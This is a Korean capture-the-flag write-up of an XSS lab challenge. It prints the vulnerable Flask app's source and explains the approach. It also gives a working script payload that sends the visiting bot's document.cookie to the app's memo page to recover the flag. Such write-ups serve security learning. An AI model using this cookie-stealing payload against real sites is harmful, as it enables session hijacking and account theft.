XSS란?

XSS = Cross-site Scripting


문제





폼태그에 아무말이나 써서 submit 클릭하면
image
alert으로 good이 뜬다


문제 코드

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

일단 /flag 페이지에서 폼은 post 방식으로 진행되므로
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): 여기에서
check_xss 부분이 true여야 구현이 된다
check_xss에서 param과 cookie가 있어야 플래그를 출력할 수 있다


첫페이지는 별거 없고 vulu 여기도 그냥 스크립트 넣으니 뜨는거 뭐 어쩌라는건지 모르겠다
메모 페이지가 컨테이너 쪽에 사용자가 입력하는 값을 get 방식으로 받아서 출력한다
memo.html에 쿠키가 있으니 뭐가 되는거같다

쿠키 가져오기

<script>
alert("hello"); <!-- 메시지 출력 -->
document.cookie; <!-- 쿠키값 -->
location.href=""; <!-- ""내의 링크로 위치 이동 -->
document.location=""; <!-- "" 링크로 이동 -->
</script>

memo html 파일에 있는 쿠키 값을 가져와야 하는데
./memo.html로는 안될거같고
애초에 서버에 올라간? 링크를 통해 memo.html에 접속해서 .document~~ 해서 가져와야할거같다


<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie</script>
을 추가했는데 페이지 이동이 자동으로 안되서 틀린줄 알았다


메모에 들어가니 답이 출력되있었다
image



참고자료

https://yoobi.kr/m/132#:~:text=DOM%20Based%20XSS%EB%9E%80%3F,%EC%8B%A4%ED%96%89%EB%90%98%EB%8A%94%20XSS%20%EA%B3%B5%EA%B2%A9%EC%9D%B4%EB%8B%A4.
https://hobbylists.tistory.com/entry/XSSCross-Site-Scripting%EA%B3%B5%EA%B2%A9-%EC%8B%A4%EC%8A%B5-Dreamhack-%EC%8B%A4%EC%8A%B5%EC%98%88%EC%A0%9C